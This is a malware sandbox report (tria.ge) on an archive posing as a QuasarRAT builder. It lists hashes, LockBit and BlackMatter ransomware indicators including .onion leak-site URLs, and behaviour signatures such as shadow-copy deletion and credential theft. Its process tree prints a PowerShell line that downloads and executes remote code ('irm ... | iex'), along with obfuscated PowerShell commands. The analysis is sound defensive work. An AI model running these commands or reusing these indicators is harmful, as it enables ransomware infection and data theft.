Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1174s -
max time network
1174s -
platform
windows11-21h2_x64 -
resource
win11-20250314-en -
resource tags
-
submitted
15/03/2025, 13:30
General
-
Target
QuasarRAT Builder.a.7z
-
Size
421KB
-
MD5
cc577d94f3e2b0acb110e15c1d516db9
-
SHA1
027ac99b0507ee8396707e648d9e692f76ca78c3
-
SHA256
85bbed1bc7d7b0288aff904291efeb19b3d694f8a1641be03751bb92ab80fc82
-
SHA512
f694d6df5b5c21aa8c51133d2f6dcdd92544ed5ed1a9a2e381577ecf1055ebb767712e4524c2902cb5bb80a108462492a481fd964e04ad2846e2a9122db6d64e
-
SSDEEP
12288:lPIcOoikkWX/68BV6Yb16gp5F8AD+OMhzKNfK:icOtkd5B1bDFND0O8
Malware Config
Extracted
blackmatter
65.239
Extracted
C:\JorQnxayj.README.txt
lockbit
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
http://lockbitapt.uz
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
https://twitter.com/hashtag/lockbit?f=live
Extracted
C:\Users\Admin\read_it.txt
Signatures
-
BlackMatter Ransomware
BlackMatter ransomware group claims to be Darkside and REvil succesor.
-
Blackmatter family
-
Chaos
Ransomware family first seen in June 2021.
-
Chaos Ransomware 3 IoCs
-
Chaos family
-
Lockbit
Ransomware family with multiple variants released since late 2019.
-
Lockbit family
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 4 IoCs
-
Redline family
-
Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
-
Renames multiple (297) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (554) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (95) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Blocklisted process makes network request 2 IoCs
-
Deletes backup catalog 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Disables Task Manager via registry modification
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Drops startup file 4 IoCs
-
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Executes dropped EXE 64 IoCs
-
Loads dropped DLL 64 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs
Using powershell.exe command.
-
Drops desktop.ini file(s) 64 IoCs
-
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Drops file in System32 directory 13 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 11 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 19 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 4 IoCs
-
Launches sc.exe 36 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 48 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Checks SCSI registry key(s) 3 TTPs 28 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 9 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 18 IoCs
-
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 1 IoCs
-
Modifies Control Panel 8 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies data under HKEY_USERS 3 IoCs
-
Modifies registry class 64 IoCs
-
Modifies registry key 1 TTPs 48 IoCs
-
Modifies system certificate store 2 TTPs 11 IoCs
-
NTFS ADS 4 IoCs
-
Opens file in notepad (likely ransom note) 5 IoCs
-
Runs ping.exe 1 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 6 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 9 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs
-
Suspicious behavior: RenamesItself 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\QuasarRAT Builder.a.7z"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Desktop\BuilderQuasarRAT.a\Quasar.exe"C:\Users\Admin\Desktop\BuilderQuasarRAT.a\Quasar.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" irm https://get.activated.win | iex2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo CMD is working"3⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc query Null4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd"4⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV24⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "4⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"4⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "5⤵
-
-
C:\Windows\System32\cmd.execmd5⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd" "4⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"4⤵
-
-
C:\Windows\System32\cmd.execmd /c "powershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':PStest:\s*';iex ($f[1])""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':PStest:\s*';iex ($f[1])"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\find.exefind /i "FullLanguage"4⤵
-
-
C:\Windows\System32\fltMC.exefltmc4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('GetConsoleWindow', 'kernel32.dll', 22, 1, [IntPtr], @(), 1, 3).SetImplementationFlags(128); [void]$TB.DefinePInvokeMethod('SendMessageW', 'user32.dll', 22, 1, [IntPtr], @([IntPtr], [UInt32], [IntPtr], [IntPtr]), 1, 3).SetImplementationFlags(128); $hIcon = $TB.CreateType(); $hWnd = $hIcon::GetConsoleWindow(); echo $($hIcon::SendMessageW($hWnd, 127, 0, 0) -ne [IntPtr]::Zero);"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\find.exefind /i "True"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); $t.DefinePInvokeMethod('GetStdHandle', 'kernel32.dll', 22, 1, [IntPtr], @([Int32]), 1, 3).SetImplementationFlags(128); $t.DefinePInvokeMethod('SetConsoleMode', 'kernel32.dll', 22, 1, [Boolean], @([IntPtr], [Int32]), 1, 3).SetImplementationFlags(128); $k=$t.CreateType(); $b=$k::SetConsoleMode($k::GetStdHandle(-10), 0x0080); & cmd.exe '/c' '"""C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd""" -el -qedit'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ""C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd" -el -qedit"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc query Null6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver6⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV26⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "6⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd6⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "7⤵
-
-
C:\Windows\System32\cmd.execmd7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd" "6⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"6⤵
-
-
C:\Windows\System32\cmd.execmd /c "powershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':PStest:\s*';iex ($f[1])""6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':PStest:\s*';iex ($f[1])"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\find.exefind /i "FullLanguage"6⤵
-
-
C:\Windows\System32\fltMC.exefltmc6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('GetConsoleWindow', 'kernel32.dll', 22, 1, [IntPtr], @(), 1, 3).SetImplementationFlags(128); [void]$TB.DefinePInvokeMethod('SendMessageW', 'user32.dll', 22, 1, [IntPtr], @([IntPtr], [UInt32], [IntPtr], [IntPtr]), 1, 3).SetImplementationFlags(128); $hIcon = $TB.CreateType(); $hWnd = $hIcon::GetConsoleWindow(); echo $($hIcon::SendMessageW($hWnd, 127, 0, 0) -ne [IntPtr]::Zero);"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\find.exefind /i "True"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -4 -n 1 activated.win6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -4 -n 1 activated.win7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -4 -n 1 updatecheck30.activated.win6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -4 -n 1 updatecheck30.activated.win7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/S"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "-el -qedit" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop6⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop7⤵
-
-
-
C:\Windows\System32\mode.commode 76, 346⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456789EH0 /N6⤵
-
-
C:\Windows\System32\mode.commode 110, 346⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s6⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"6⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"6⤵
-
-
C:\Windows\System32\cmd.execmd /c "wmic path Win32_ComputerSystem get CreationClassName /value"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\find.exefind /i "computersystem"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul6⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST7⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':winsubstatus\:.*';iex ($f[1])"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\find.exefind /i "Subscription_is_activated"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 Pro" "6⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$job = Start-Job { (Get-WmiObject -Query 'SELECT * FROM SoftwareLicensingService').Version }; if (-not (Wait-Job $job -Timeout 30)) {write-host 'sppsvc is not working correctly. Help - https://massgrave.dev/troubleshoot'}"6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE6⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 l.root-servers.net6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s6⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"6⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"6⤵
-
-
C:\Windows\System32\sc.exesc query Null6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso6⤵
- Launches sc.exe
-
-
